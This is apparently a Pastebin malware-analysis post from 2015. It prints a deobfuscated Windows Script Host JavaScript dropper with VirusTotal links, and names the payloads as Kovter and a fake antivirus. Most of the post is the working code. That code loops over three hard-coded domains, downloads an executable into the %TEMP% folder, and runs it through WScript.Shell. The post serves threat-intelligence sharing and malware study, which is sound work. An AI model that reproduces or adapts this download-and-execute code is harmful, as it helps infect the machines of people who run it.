Advertisement
techhelplist

Untitled

Apr 11th, 2015
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. deobfuscated and beuatified version of malicious WSH .js file
  2. https://www.virustotal.com/en/file/9ffbd096aab7d309e6119663f1c6628ae9fb7d2f5eaeabeaa53ef7b682990103/analysis/
  3. sends get requests like:
  4. www.mybusinessdoc.com/document.php?rnd=1071&id=55555C5E031601032405123412345
  5. lawyermyowin.com/document.php?rnd=1071&id=55555C5E031601032405123412345
  6. gurutravel.co.nz/document.php?rnd=1071&id=55555C5E031601032405123412345
  7.  
  8. using a windows IE user-agent you get one of:
  9. kovter:
  10. https://www.virustotal.com/en/file/8006cb3906911cf0454818d55a9c7e340f34e4ab4d056dce9f40cb9396f00e3a/analysis/
  11. trapwot fakeav:
  12. https://www.virustotal.com/en/file/a332f99155f4c1e1dcc7fb68e1f1eb578a7db1e4d05f8d4c40b6ed5b16f3a369/analysis/
  13.  
  14. ----------------------
  15.  
  16.  
  17. var listing="55555C5E031601031234123112341234";
  18.  
  19. function dl(fr) {
  20. var b = "www.mybusinessdoc.com lawyermyowin.com gurutravel.co.nz".split(" ");
  21. for (var i = 0; i < b.length; i++) {
  22. var ws = new ActiveXObject("WScript.Shell");
  23. var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
  24. var dn = 0;
  25. var xo = new ActiveXObject("MSXML2.XMLHTTP");
  26. xo.onreadystatechange = function () {
  27. if (xo.readyState == 4 && xo.status == 200) {
  28. var xa = new ActiveXObject("ADODB.Stream");
  29. xa.open();
  30. xa.type = 1;
  31. xa.write(xo.ResponseBody);
  32. if (xa.size > 5000) {
  33. dn = 1;
  34. xa.position = 0;
  35. xa.saveToFile(fn, 2);
  36. try {
  37. ws.Run(fn, 1, 0);
  38. } catch (er) {};
  39. };
  40. xa.close();
  41. };
  42. };
  43. try {
  44. xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + listing, false);
  45. xo.send();
  46. } catch (er) {};
  47. if (dn == 1) break;
  48. }
  49. };
  50. dl(1071);
  51. dl(1382);
  52. dl(3673);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement